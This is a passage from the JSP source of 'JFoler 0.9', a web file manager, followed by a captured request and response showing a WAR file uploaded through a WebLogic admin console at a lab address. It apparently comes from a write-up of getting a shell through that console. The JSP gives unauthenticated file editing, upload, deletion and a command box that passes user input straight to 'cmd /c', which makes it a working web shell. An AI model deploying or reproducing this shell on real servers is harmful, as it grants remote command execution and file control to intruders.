	sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> &nbsp;"+strPath+"\r\n");
	sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
	String line="";
	while((line=br.readLine())!=null)
	{
		sbEdit.append(htmlEncode(line)+"\r\n");		
	}
   sbEdit.append("</textarea>");
	sbEdit.append("<input type=hidden name=path value="+strDir+">");
	sbEdit.append("</form>");
}

if(strAction!=null && strAction.equals("save"))
{
	File f=new File(strPath);
	BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
	String strContent=request.getParameter("content");
	bw.write(strContent);
	bw.close();
}
if(strAction!=null && strAction.equals("copy"))
{
	File f=new File(strPath);
	sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
	sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
	sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
	sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
	sbCopy.append("原始檔案: "+strPath+"<p>");
	sbCopy.append("目標檔案: <input type=text name=file2 size=40 value='"+strDir+"'><p>");
	sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
	sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p>&nbsp;\r\n");
	sbCopy.append("</form>");
}
if(strAction!=null && strAction.equals("savecopy"))
{
	File f=new File(strPath);
	String strDesFile=request.getParameter("file2");
	if(strDesFile==null || strDesFile.equals(""))
	{
		sbSaveCopy.append("<p><font color=red>目標檔案錯誤。</font>");
	}
	else
	{
		File f_des=new File(strDesFile);
		if(f_des.isFile())
		{
			sbSaveCopy.append("<p><font color=red>目標檔案已存在,不能複製。</font>");
		}
		else
		{
			String strTmpFile=strDesFile;
			if(f_des.isDirectory())
			{
				if(!strDesFile.endsWith("\\"))
				{
					strDesFile=strDesFile+"\\";
				}
				strTmpFile=strDesFile+"cqq_"+strFile;
			 }
			
			File f_des_copy=new File(strTmpFile);
			FileInputStream in1=new FileInputStream(f);
			FileOutputStream out1=new FileOutputStream(f_des_copy);
			byte[] buffer=new byte[1024];
			int c;
			while((c=in1.read(buffer))!=-1)
			{
				out1.write(buffer,0,c);
			}
			in1.close();
			out1.close();
	
			sbSaveCopy.append("原始檔案 :"+strPath+"<p>");
			sbSaveCopy.append("目標檔案 :"+strTmpFile+"<p>");
			sbSaveCopy.append("<font color=red>複製成功!</font>");			
		}		
	}	
	sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=返回>");
}
if(strAction!=null && strAction.equals("newFile"))
{
	String strF=request.getParameter("fileName");
	String strType1=request.getParameter("btnNewFile");
	String strType2=request.getParameter("btnNewDir");
	String strType="";
	if(strType1==null)
	{
		strType="Dir";
	}
	else if(strType2==null)
	{
		strType="File";
	}
	if(!strType.equals("") && !(strF==null || strF.equals("")))
	{		
			File f_new=new File(strF);			
			if(strType.equals("File") && !f_new.createNewFile())
				sbNewFile.append(strF+" 檔案建立失敗");
			if(strType.equals("Dir") && !f_new.mkdirs())
				sbNewFile.append(strF+" 目錄建立失敗");
	}
	else
	{
		sbNewFile.append("<p><font color=red>建立檔案或目錄出錯。</font>");
	}
}

if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
{
	String tempdir=".";
	boolean error=false;
	response.setContentType("text/html");
	sbNewFile.append("<p><font color=red>建立檔案或目錄出錯。</font>");
	HttpMultiPartParser parser = new HttpMultiPartParser();

	int bstart = request.getContentType().lastIndexOf("oundary=");
	String bound = request.getContentType().substring(bstart + 8);
	int clength = request.getContentLength();
	Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
	if (ht.get("cqqUploadFile") != null)
	{

		FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
		File f1 = fi.file;
		UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
		if (info != null && info.aborted) 
		{
			f1.delete();
			request.setAttribute("error", "Upload aborted");
		}
		else 
		{
			String path = (String) ht.get("path");
			if(path!=null && !path.endsWith("\\")) 
				path = path + "\\";
			if (!f1.renameTo(new File(path + f1.getName()))) 
			{
				request.setAttribute("error", "Cannot upload file.");
				error = true;
				f1.delete();
			}
		}
	}
}
%>
<html>
<head>
<style type="text/css">
td,select,input,body{font-size:9pt;}
A { TEXT-DECORATION: none }

#tablist{
padding: 5px 0;
margin-left: 0;
margin-bottom: 0;
margin-top: 0.1em;
font:9pt;
}

#tablist li{
list-style: none;
display: inline;
margin: 0;
}

#tablist li a{
padding: 3px 0.5em;
margin-left: 3px;
border: 1px solid ;
background: F6F6F6;
}

#tablist li a:link, #tablist li a:visited{
color: navy;
}

#tablist li a.current{
background: #EAEAFF;
}

#tabcontentcontainer{
width: 100%;
padding: 5px;
border: 1px solid black;
}

.tabcontent{
display:none;
}

</style>

<script type="text/javascript">

var initialtab=[<%=tabID%>, "menu<%=tabID%>"]

////////Stop editting////////////////

function cascadedstyle(el, cssproperty, csspropertyNS){
if (el.currentStyle)
return el.currentStyle[cssproperty]
else if (window.getComputedStyle){
var elstyle=window.getComputedStyle(el, "")
return elstyle.getPropertyValue(csspropertyNS)
}
}

var previoustab=""

function expandcontent(cid, aobject){
if (document.getElementById){
highlighttab(aobject)
if (previoustab!="")
document.getElementById(previoustab).style.display="none"
document.getElementById(cid).style.display="block"
previoustab=cid
if (aobject.blur)
aobject.blur()
return false
}
else
return true
}

function highlighttab(aobject){
if (typeof tabobjlinks=="undefined")
collecttablinks()
for (i=0; i<tabobjlinks.length; i++)
tabobjlinks[i].style.backgroundColor=initTabcolor
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
}

function collecttablinks(){
var tabobj=document.getElementById("tablist")
tabobjlinks=tabobj.getElementsByTagName("A")
}

function do_onload(){
collecttablinks()
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
}

if (window.addEventListener)
window.addEventListener("load", do_onload, false)
else if (window.attachEvent)
window.attachEvent("onload", do_onload)
else if (document.getElementById)
window.onload=do_onload



</script>
<script language="javascript">

function doForm(action,path,file,cmd,tab,content)
{
	document.frmCqq.action.value=action;
	document.frmCqq.path.value=path;
	document.frmCqq.file.value=file;
	document.frmCqq.cmd.value=cmd;
	document.frmCqq.tabID.value=tab;
	document.frmCqq.content.value=content;
	if(action=="del")
	{
		if(confirm("確定要刪除檔案 "+file+" 嗎?"))
		document.frmCqq.submit();
	}
	else
	{
		document.frmCqq.submit();    
	}
}
</script>

<title>JFoler 0.9 ---A jsp based web folder management tool by Steven Cee</title>
<head>


<body>

<form name="frmCqq" method="post" action="">
<input type="hidden" name="action" value="">
<input type="hidden" name="path" value="">
<input type="hidden" name="file" value="">
<input type="hidden" name="cmd" value="">
<input type="hidden" name="tabID" value="2">
<input type="hidden" name="content" value="">
</form>

<!--Top Menu Started-->
<ul id="tablist">
<li><a href="http://www.smallrain.net" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
 &nbsp; <%=authorInfo[languageNo]%>
</ul>
<!--Top Menu End-->


<%
StringBuffer sbFolder=new StringBuffer("");
StringBuffer sbFile=new StringBuffer("");
try
{
	File objFile = new File(strDir);
	File list[] = objFile.listFiles();	
	if(objFile.getAbsolutePath().length()>3)
	{
		sbFolder.append("<tr><td >&nbsp;</td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
		sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");


	}
	for(int i=0;i<list.length;i++)
	{
		if(list[i].isDirectory())
		{
			sbFolder.append("<tr><td >&nbsp;</td><td>");
			sbFolder.append("  <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
			sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
		}
		else
		{
		    String strLen="";
			String strDT="";
			long lFile=0;
			lFile=list[i].length();
			strLen = convertFileSize(lFile);
			Date dt=new Date(list[i].lastModified());
			strDT=dt.toLocaleString();
			sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
			sbFile.append(""+list[i].getName());	
			sbFile.append("</td><td>");
			sbFile.append(""+strLen);
			sbFile.append("</td><td>");
			sbFile.append(""+strDT);
			sbFile.append("</td><td>");

			sbFile.append(" &nbsp;<a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
			sbFile.append(strFileEdit[languageNo]+"</a> ");

			sbFile.append(" &nbsp;<a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
			sbFile.append(strFileDel[languageNo]+"</a> ");

			sbFile.append("  &nbsp;<a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
			sbFile.append(strFileDown[languageNo]+"</a> ");

			sbFile.append("  &nbsp;<a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
			sbFile.append(strFileCopy[languageNo]+"</a> ");
		}		

	}	
}
catch(Exception e)
{
	out.println("<font color=red>操作失敗: "+e.toString()+"</font>");
}
%>

<DIV id="tabcontentcontainer">


<div id="menu3" class="tabcontent">
<br> 
<br> &nbsp;&nbsp; 未完成
<br> 
<br>&nbsp;

</div>

<div id="menu4" class="tabcontent">
<br>
<p>一、功能說明</p>
<p>&nbsp;&nbsp;&nbsp; jsp 版本的檔案管理器,通過該程式可以遠端管理伺服器上的檔案系統,您可以新建、修改、</p>
<p>刪除、下載檔案和目錄。對於windows系統,還提供了命令列視窗的功能,可以執行一些程式,類似</p>
<p>與windows的cmd。</p>
<p>&nbsp;</p>
<p>二、測試</p>
<p>&nbsp;&nbsp;&nbsp;<b>請大家在使用過程中,有任何問題,意見或者建議都可以給我留言,以便使這個程式更加完善和穩定,<p>
留言地址為:<a href="http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx" target="_blank">http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx</a></b>
<p>&nbsp;</p>
<p>三、更新記錄</p>
<p>&nbsp;&nbsp;&nbsp; 2004.11.15&nbsp; V0.9測試版釋出,增加了一些基本的功能,檔案編輯、複製、刪除、下載、上傳以及新建檔案目錄功能</p>
<p>&nbsp;&nbsp;&nbsp; 2004.10.27&nbsp; 暫時定為0.6版吧, 提供了目錄檔案瀏覽功能 和 cmd功能</p>
<p>&nbsp;&nbsp;&nbsp; 2004.09.20&nbsp; 第一個jsp&nbsp;程式就是這個簡單的顯示目錄檔案的小程式</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
</div>


<div id="menu1" class="tabcontent">
<%
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+": <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
%>
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
       
        <tr> 
          <td width="25%" align="center" valign="top"> 
              <table width="98%" border="0" cellspacing="0" cellpadding="3">
 				<%=sbFolder%>
                </tr>                 
              </table>
          </td>
          <td width="81%" align="left" valign="top">
	
	<%
	if(strAction!=null && strAction.equals("edit"))
	{
		out.println(sbEdit.toString());
	}
	else if(strAction!=null && strAction.equals("copy"))
	{
		out.println(sbCopy.toString());
	}
	else if(strAction!=null && strAction.equals("down"))
	{
		out.println(sbDown.toString());
	}
	else if(strAction!=null && strAction.equals("savecopy"))
	{
		out.println(sbSaveCopy.toString());
	}
	else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
	{
		out.println(sbNewFile.toString());
	}
	else
	{
	%>
		<span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
              <tr bgcolor="#E7e7e6"> 
                <td width="26%"><%=strFileName[languageNo]%></td>
                <td width="19%"><%=strFileSize[languageNo]%></td>
                <td width="29%"><%=strLastModified[languageNo]%></td>
                <td width="26%"><%=strFileOperation[languageNo]%></td>
              </tr>              
            <%=sbFile%>
             <!-- <tr align="center"> 
                <td colspan="4"><br>
                  總計檔案個數:<font color="#FF0000">30</font> ,大小:<font color="#FF0000">664.9</font> 
                  KB </td>
              </tr>
			 -->
            </table>
			</span>
	<%
	}		
	%>

          </td>
        </tr>

	<form name="frmMake" action="" method="post">
	<tr><td colspan=2 bgcolor=#FBFFC6>
	<input type="hidden" name="action" value="newFile">
	<input type="hidden" name="path" value="<%=strDir%>">
	<input type="hidden" name="file" value="<%=strFile%>">
	<input type="hidden" name="cmd" value="<%=strCmd%>">
	<input type="hidden" name="tabID" value="1">
	<input type="hidden" name="content" value="">
	<%
	if(!strDir.endsWith("\\"))
	strDir = strDir + "\\";
	%>
	<input type="text" name="fileName" size=36 value="<%=strDir%>">
	<input type="submit" name="btnNewFile" value="新建檔案" onclick="frmMake.submit()" > 
	<input type="submit" name="btnNewDir" value="新建目錄"  onclick="frmMake.submit()" > 
	</form>		
	<form name="frmUpload" enctype="multipart/form-data" action="" method="post">
	<input type="hidden" name="action" value="upload">
	<input type="hidden" name="path" value="<%=strDir%>">
	<input type="hidden" name="file" value="<%=strFile%>">
	<input type="hidden" name="cmd" value="<%=strCmd%>">
	<input type="hidden" name="tabID" value="1">
	<input type="hidden" name="content" value="">
	<input type="file" name="cqqUploadFile" size="36">
	<input type="submit" name="submit" value="上傳">
	</td></tr></form>
      </table>
</div>
<div id="menu2" class="tabcontent">

<%
String line="";
StringBuffer sbCmd=new StringBuffer("");

if(strCmd!=null) 
{
	try
	{
		//out.println(strCmd);
		Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
		BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
		while((line=br.readLine())!=null)
		{
			sbCmd.append(line+"\r\n");		
		}    
	}
	catch(Exception e)
	{
		System.out.println(e.toString());
	}
}
else
{
	strCmd = "set";
}

%>
<form name="cmd" action="" method="post">
&nbsp;
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
<input type="hidden" name="tabID" value="2">
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
</form>
<%
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
{
%>
&nbsp;<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
<br>&nbsp;
<%
}
%>
</DIV>
</div>
<br><br>
<center><a href="http://www.topronet.com" target="_blank">www.topronet.com</a> ,All Rights Reserved.
<br>Any question, please email me cqq1978@Gmail.com
![](https://img2020.cnblogs.com/blog/1630201/202102/1630201-20210222164728022-1677176904.png)

-----------------------------8434166712903
Content-Disposition: form-data; name="AppApplicationInstallPortletuploadPlanPath"; filename=""
Content-Type: application/octet-stream


-----------------------------8434166712903
Content-Disposition: form-data; name="AppApplicationInstallPortletfrsc"

0x062430ecab863931868d682e81a64437e4490c23def60129
-----------------------------8434166712903--
HTTP/1.1 200 OK
Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
Connection: close
Date: Mon, 22 Feb 2021 06:20:53 GMT
Pragma: No-cache
Pragma: No-cache
Pragma: No-cache
Pragma: No-cache
Content-Type: text/html; charset=UTF-8
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Language: en-US
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 37476

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><meta http-equiv="Content-Script-Type" content="text/javascript"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Install Application Assistant - base_domain - WLS Console</title><link rel="stylesheet" type="text/css" href="/console/framework/skeletons/wlsconsole/css/layout.css"><script src="/console/framework/skeletons/wlsconsole/js/buttons.js" type="text/javascript"></script><script src="/console/framework/skeletons/wlsconsole/js/util.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/general.css"><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/menu.css"><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/window.css"><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/console.css"><link rel="stylesheet" type="text/css" href="/console/css/content.css"><script src="/console/javascript/consoleUtil.js" type="text/javascript"></script><script src="/console/javascript/console-help.js" type="text/javascript"></script><script src="/console/javascript/recorder.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/css/changemgmt.css"><link rel="stylesheet" type="text/css" href="/console/css/forms.css"><script src="/console/javascript/changemgmt.js" type="text/javascript"></script><script src="/console/javascript/form.js" type="text/javascript"></script><script src="/console/javascript/PredicateEditor.js" type="text/javascript"></script><script src="/console/javascript/table.js" type="text/javascript"></script><script src="/console/javascript/portletrefresh.js" type="text/javascript"></script><script src="/console/javascript/ButtonMenu.js" type="text/javascript"></script><script src="/console/javascript/chooser.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/css/navtree.css"><script src="/console/javascript/tree.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/css/quicklinks.css"><link rel="stylesheet" type="text/css" href="/console/css/systemstatus.css"></head><body><div class="wlsc-header"><div id="console-header-logo"><a href="#repetitive_links"><img src="images/spacer.gif" alt="Skip repetitive links "></a><div><a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=HomePage1" title="WebLogic Server Administration Console Home"><img src="framework/skins/wlsconsole/images/Branding_WeblogicConsole.gif" id="console-title" alt="WebLogic Server Administration Console Home "></a></div></div><div id="global-links"><span id="pageStatus"><img src="framework/skins/wlsconsole/images/pageIdle.gif" id="pageIdle" title="Idle" alt="Idle"><img src="framework/skins/wlsconsole/images/pageBusy.gif" id="pageBusy" title="Busy" alt="Busy"></span></div><div id="header-trans"><img src="framework/skins/wlsconsole/images/gradient-white-none.png" alt=""></div></div><div id="Home" class="wlsc-book"><div class="wlsc-book-content"><div id="page" class="wlsc-page"><div class="wlsc-2col-layout"><div id="console-content-col"><div id="console-content-col-inner"><div id="ToolbarBook" class="none"><div class="wlsc-book-content"><div id="ToolbarPage" class="wlsc-page"><div id="portlet_toolbar" class="wlsc-window  "><div class="wlsc-window-content">


<script type="text/javascript">
  wls.console.pageHelpURL = null;
  wls.console.pageHelpKey = 'J2EEappinstalltitle';
</script>


<script type="text/javascript">
   wls.console.recordState = {
     contextRoot: "/console",
     prompt: false,
     recordingStarted: false  
   };
</script>

<div class="toolbar">
  <div class="toolbar-menu">
    <div class="tbframe">
    <div class="tbframeTop"><div><div>&nbsp;</div></div></div>

    <div id="topMenu" class="tbframeContent">
    <ul>
      <li class="first">
        <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=HomePage1"
		title="WebLogic Server Administration Console Home">
		  <img src="images/home_ena.gif"
		    alt="WebLogic Server Administration Console Home ">
		    Home
		    </a>
      </li>
      <li>
        <a href="/console/jsp/common/warnuserlockheld.jsp">
          Log Out
        </a>
      </li>
      <li>
        <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=UserPreferencesPageGeneral">
          Preferences
		</a>
      </li>
      <li>
        
        <a href="#" onclick="return wls.console.startAdHocRecord('frsc','0x062430ecab863931868d682e81a64437e4490c23def60129');" id="recordLink" title="Start Recording">
       
          <img id="recordingIcon" src="images/recording.gif"
		    alt="Start Recording ">
		    Record
        
        </a>
        
      </li>
      <li>
        <a href="#" onclick="return wls.console.launchHelp()"
		  title="Help - New window">
		    Help
        </a>
      </li>
	</ul>
    </div>

    <div class="tbframeBottom"><div><div>&nbsp;</div></div></div>
    </div>
  </div>
  
  <div id="topSearch" class="toolbar-menu">
    <div class="tbframe">
    <div class="tbframeTop"><div><div>&nbsp;</div></div></div>

    <div class="tbframeContent">
    <ul>
      <li class="first">
        <form name="mbeanSearchForm" method="POST" action="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=MBeanSearchPage">
          <label class="screenReadersOnly" for="toolbarSearchInput">Search</label>
          <input type="text" id="toolbarSearchInput" name="MBeanSearchPortletsearchString" size="11" value="" class="toolbar-search">
          <button type="button" class="formButton" onclick="this.form.submit();return false;" name="search" title="Search">
            <span class="icon search">&nbsp;</span><span style="display: none;">Search</span>
          </button>
          <input type="hidden" name="_nfpb" value="true">
          <input type="hidden" name="MBeanSearchPortlet_actionOverride" value="/mbeansearch/DisplayResultsAction">
          <input type="hidden" name="_windowLabel" value="MBeanSearchPortlet">
        </form>
      </li>
    </ul>
    </div>

    <div class="tbframeBottom"><div><div>&nbsp;</div></div></div>
    </div>
  </div>
  <div class="toolbar-info">
    <div class="tbframe">
    <div class="tbframeTop"><div><div>&nbsp;</div></div></div>

    <div class="tbframeContent">
      <div id="welcome">
        <p>Welcome, 
        weblogic</p>
      </div>
      <div id="domain">
        <p>Connected to: 
        <strong>base_domain</strong></p>
      </div>
    </div>

    <div class="tbframeBottom"><div><div>&nbsp;</div></div></div>
    </div>
  </div>

</div>
</div></div></div></div></div><div id="LocationContextBook" class="none"><div class="wlsc-book-content"><div id="LocationContextPage" class="wlsc-page"><div id="portlet_history" class="wlsc-window  "><div class="wlsc-window-content"><div class="breadcrumbs"><a href="/console/console.portal?_nfpb=true&amp;_pageLabel=HomePage1">Home</a>&nbsp;&gt;<span class="bclast">Summary of Deployments</span></div><a name="repetitive_links"><img src="images/spacer.gif" alt="End of repetitive links "></a></div></div></div></div></div><div id="WorkpaceMessagesBook" class="none"><div class="wlsc-book-content"><div id="WorkpaceMessagesPage" class="wlsc-page"><div id="portlet_messages" class="wlsc-window  "><div class="wlsc-window-content"><!--messages-region-start--><div id="asyncmessages"><noscript><span class="message_ERROR">JavaScript is required. Enable JavaScript to use WebLogic Administration Console.</span></noscript><div class="messagesbox tbframe"><div class="tbframeTop"><div><div>&nbsp;</div></div></div><div class="tbframeContent"><h1 class="messagestitle">Messages</h1><div class="message"><img src="images/checkmark_status.gif" alt="Message icon - Success "><span class="message_SUCCESS">The file test3693.war has been uploaded successfully to /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/upload</span></div></div><div class="tbframeBottom"><div><div>&nbsp;</div></div></div></div></div><!--messages-region-end--></div></div></div></div></div><div id="console-content-area" class="none"><div class="wlsc-book-content"><div id="AppApplicationInstall" class="wlsc-frame"><div class="top"><div><div>&nbsp;</div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-book-content"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h1>Install Application Assistant</h1></div><div class="wlsc-titlebar-button-panel">&#160;</div></div></div><div id="AppApplicationInstallPage" class="page-assistant"><div id="AppApplicationInstallPortlet" class="wlsc-window  "><div class="wlsc-window-content">



<div class="contenttable"><div class="upperButtonBar">
    <div class="buttonBar">
      <button type='button' name='Back' disabled="disabled"  class="formButton-disabled">Back</button>&#160;
      <button type='button' onclick='disableButtons();nextAction("/com/bea/console/actions/app/install/appSelected");return false;' name='Next' class="formButton">Next</button>&#160;
      <img src='images/buttonSeparator.gif' alt=''/>
      <button type='button' name='Finish' disabled="disabled"  class="formButton-disabled">Finish</button>&#160;
      <img src='images/buttonSeparator.gif' alt=''/>
      <button type='button' onclick='disableButtons();nextAction("/com/bea/console/actions/app/install/cancel");return false;' name='Cancel' class="formButton">Cancel</button>&#160;
    </div><script type='text/javascript'>
wls.console.registerDefaultFormAction('unknown', function() {disableButtons();nextAction("/com/bea/console/actions/app/install/appSelected");});</script>
  </div><div class="stepTitle">
    Locate deployment to install and prepare for deployment
  </div><div class="stepIntro">
    Select the file path     that represents the application root directory, archive file, exploded     archive directory, or application module descriptor that you want to     install. You can also enter the path of the application directory or file     in the Path field. <br/><br/><b>Note:</b> Only     valid file paths are displayed below. If you cannot find your deployment     files, <a href='#' onclick='nextAction("/com/bea/console/actions/app/install/selectUploadApp"); return false;'>upload your file(s)</a> and/or confirm that your application contains the required     deployment descriptors.
  </div>
    
    <script type="text/javascript">function nextAction(actionName){doNextAction(document.form, document.form.action + '?AppApplicationInstallPortlet_actionOverride=' + actionName);}</script><form name="form" method="post" action="http://192.168.52.128:7001/console/console.portal" onsubmit="wls.console.doingSubmit();">
<table class="formTable" summary="" datatable="0">
<colgroup>
<col class="labelCol">
<col class="inputCol">
<col class="paddingCol">
</colgroup>
<tr>
<td colspan="3">
<div class="fileChooser">
<div class="fcNavigation">
<div class="ctrlRow">
<label for="formFC1">Path:</label><input type="text" name="AppApplicationInstallPortletselectedAppPath" id="formFC1" size="64" value="/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/upload/test3693.war">
</div>
<div class="ctrlRow">
<span class="label">Recently Used Paths:</span>
<ul>
<li>(none)</li>
</ul>
</div>
<div class="ctrlRow">
<span class="label">Current Location: </span>
<div class="pathNav">
<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=AppApplicationInstallPage&amp;AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp&amp;AppApplicationInstallPortletFILECHOOSERPATH=">192.168.52.128</a> / <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=AppApplicationInstallPage&amp;AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp&amp;AppApplicationInstallPortletFILECHOOSERPATH=/root">root</a> / <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=AppApplicationInstallPage&amp;AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp&amp;AppApplicationInstallPortletFILECHOOSERPATH=/root/Oracle">Oracle</a> / <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=AppApplicationInstallPage&amp;AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp&amp;AppApplicationInstallPortletFILECHOOSERPATH=/root/Oracle/Middleware">Middleware</a> / <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=AppApplicationInstallPage&amp;AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp&amp;AppApplicationInstallPortletFILECHOOSERPATH=/root/Oracle/Middleware/user_projects">user_projects</a> / <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=AppApplicationInstallPage&amp;AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp&amp;AppApplicationInstallPortletFILECHOOSERPATH=/root/Oracle/Middleware/user_projects/domains">domains</a> / <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=AppApplicationInstallPage&amp;AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp&amp;AppApplicationInstallPortletFILECHOOSERPATH=/root/Oracle/Middleware/user_projects/domains/base_domain">base_domain</a> / <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=AppApplicationInstallPage&amp;AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp&amp;AppApplicationInstallPortletFILECHOOSERPATH=/root/Oracle/Middleware/user_projects/domains/base_domain/servers">servers</a> / <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=AppApplicationInstallPage&amp;AppApplicationInstallPortlet_actionOverride=/com/bea/console/actions/app/install/uploadApp&amp;AppApplicationInstallPortletFILECHOOSERPATH=/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer">AdminServer</a> / upload</div>
</div>
</div>
<ul>
<li>
<div class="sel">&nbsp;<input type="radio" name="AppApplicationInstallPortletselectedAppPath" id="formFC2" value="/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/upload/test3693.war" checked onclick="wls.console.fcUpdatePath(this, &quot;formFC1&quot;)">
</div>
<div class="name">
<label for="formFC2"><img alt="WAR file " title="WAR file" src="/console/images/deployment/war.gif">test3693.war</label>
</div>
</li>
</ul>
</div>
</td>
</tr>
</table>
<div>
<input type="hidden" name="AppApplicationInstallPortletfrsc" id="AppApplicationInstallPortletfrsc" value="0x062430ecab863931868d682e81a64437e4490c23def60129"><script type="text/javascript">wls.console.warnOnUnsavedChanges(document.form,"You have unsaved changes. To save your changes press Cancel to stay on this page. You can then complete your changes and save them.");
document.form.onkeypress = wls.console.enterHandler;
function changeCenterCheck(){
  return wls.console.checkForUnsavedChanges(document.form,"You have unsaved changes. Press OK to ignore the changes and continue with the Change Center action. To save your changes press Cancel to stay on this page. You can then complete your changes and save them.");
}</script>
</div>
</form>

   <div class="lowerButtonBar">
